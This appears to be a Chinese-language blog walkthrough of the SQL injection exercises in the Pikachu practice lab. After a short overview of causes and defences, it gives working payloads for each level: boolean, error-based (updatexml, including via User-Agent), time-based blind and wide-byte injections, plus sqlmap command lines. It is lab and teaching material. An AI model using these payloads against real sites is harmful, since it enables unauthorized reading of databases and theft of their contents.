something about Pikachu - SQL-Inject
pikachu
SQL-Inject
概述
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台进行处理时,未对数据做严格的判断,导致传入的恶意内容拼接 到SQL语句中,被当做SQL语句的一部分执行,从而导致数据库受损。
防范SQL注入策略
对前端传递来的数据进行过滤,不允许危险字符传入
使用参数化查询的方式(Parameterized Query/Parameterized Statement)
目前很多ORM框架也提供了
SQL拼接
方式查询,使用时需要注意
数字型注入(post)
手动注入
使用
burpsuite
抓到包后,在请求参数后添加boolean
为真的语句。观察是否检索结果有不同。
全部结果检索出来,SQL注入成功。1
id=2 or true#&submit=%E6%9F%A5%E8%AF%A2
sqlmap
使用
burpsuite
抓包后将请求信息保存至文件,由sqlmap
对id
进行注入。1
sqlmap -r number.txt --level=5 --risk=3 -p id --dbs --batch
字符型注入(get)
手动注入
使用
burpsuite
抓到包后,在请求参数后添加boolean
为真的语句。观察是否检索结果有不同。
值得注意的是,由于GET
参数拼接在URL中,因此最好将注入的内容进行URL
编码。1
2
3# + => 空格
# %23 => #
/pikachu/vul/sqli/sqli_str.php?name=vience'or+true%23&submit=%E6%9F%A5%E8%AF%A2sqlmap
使用
burpsuite
抓包后将请求信息保存至文件,由sqlmap
进行对name
进行注入。1
sqlmap -r charsequence.txt --level=5 --risk=3 -p name --dbs --batch
搜索型注入
手动注入
与字符型注入相同。
1
/pikachu/vul/sqli/sqli_search.php?name=vi'or+true%23&submit=%E6%90%9C%E7%B4%A2
sqlmap
使用
burpsuite
抓包后将请求信息保存至文件,由sqlmap
进行对name
进行注入。1
sqlmap -r search.txt --level=5 --risk=3 -p name --dbs --batch
xx型注入
手动注入
与字符型注入相同。
1
/pikachu/vul/sqli/sqli_x.php?name=hello'or+true%23&submit=%E6%9F%A5%E8%AF%A2
经尝试,会报
SQL
错误,因此可能是SQL
语句未闭合。1
/pikachu/vul/sqli/sqli_x.php?name=hello')or+true%23&submit=%E6%9F%A5%E8%AF%A2
sqlmap
与字符型注入相同。
1
sqlmap -r xx.txt --level=5 --risk=3 -p name --dbs --batch
得到
payload
为有)
的闭合语句。1
name=hello') AND 7065=(SELECT (CASE WHEN (7065=7065) THEN 7065 ELSE (SELECT 1143 UNION SELECT 7507) END))-- -&submit=%E6%9F%A5%E8%AF%A2
insert/update
注入
可以应用报错注入。获得关心的信息。
此次利用了updatexml(xml_document, XPath, new_Value)
函数中,XPath
中不可包含~
字符,因此使用0x7e
时,一定会报错。
当程序开启了报错打印后,报错信息就会显示在页面上。
1 | # 构造insert into table(name, passwd)values('ABC', '123'); 中`ABC`为以下内容 |
得到结果XPATH syntax error: '~pikachu~pikachu@localhost~C:\xa'
。
delete
注入
与insert/update注入相同,使用报错注入。
构造对应URL。
1 | # URLencode |
得到结果XPATH syntax error: '~pikachu~pikachu@localhost~C:\xa'
。
http header
注入
尝试对HTTP
头进行修改后发包,发现会有SQL
报错,因此对HTTP
头的属性进行注入。
此次对User-Agent
进行注入。
1 | User-Agent: 'or updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),0)or'# |
得到结果XPATH syntax error: '~pikachu~pikachu@localhost~C:\xa'
。
盲注(base on boolean)
手动注入
针对
name
做注入,值得注意的是,pikachu
对返回件数有判断,因此使用limit
语句限制返回件数。1
2# # => %23
/pikachu/vul/sqli/sqli_blind_b.php?name=hello'+or+true+limit+1%23&submit=%E6%9F%A5%E8%AF%A2sqlmap
与字符型注入相同。
1
sqlmap -r boolean.txt --level=5 --risk=3 -p name --dbs --batch
得到报错
payload
。1
2# 需要自行`URLencode`,注意`name=`中的`=`不要`encode`
name=hello'||(SELECT 0x6e6b7342 WHERE 6588=6588 AND (SELECT 7080 FROM(SELECT COUNT(*),CONCAT(0x7176767a71,(SELECT (ELT(7080=7080,1))),0x717a6a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&submit=%E6%9F%A5%E8%AF%A2
盲注(base on time)
手动注入
针对
name
注入,基于时间盲注,查看页面响应时间。1
2# 检索时等待5s
/pikachu/vul/sqli/sqli_blind_t.php?name=kobe'+and+sleep(5)%23&submit=%E6%9F%A5%E8%AF%A2基于时间的盲注一般与
if
分支结合。if(condition, case1, case2)
意为:1
2
3
4
5if condition
case1
else
case2
endif当数据库的名称首字母为
a
时,页面等待5s
,否则正常。
数据库的名字为pikachu
,与a
不相等,因此正常响应。1
2# if(substr(database(),1,1)='a',sleep(5),null)
/pikachu/vul/sqli/sqli_blind_t.php?name=kobe'+and+if(substr(database(),1,1)%3d'a',sleep(5),null)%23&submit=%E6%9F%A5%E8%AF%A2当数据库的名称首字母为
p
时,页面等待5s
,否则正常。
此次响应等待了5s
,因此可以判断数据库的名字的首字母为p
。1
2# if(substr(database(),1,1)='p',sleep(5),null)
/pikachu/vul/sqli/sqli_blind_t.php?name=kobe'+and+if(substr(database(),1,1)%3d'p',sleep(5),null)%23&submit=%E6%9F%A5%E8%AF%A2
宽字节注入
手动注入
针对
name
注入。1
2# 单引号前增加`%df`
name=hello%df%27or+true%23&submit=%E6%9F%A5%E8%AF%A2
something about Pikachu - SQL-Inject
https://cyhfvg.github.io/something-about-Pikachu-SQL-Inject/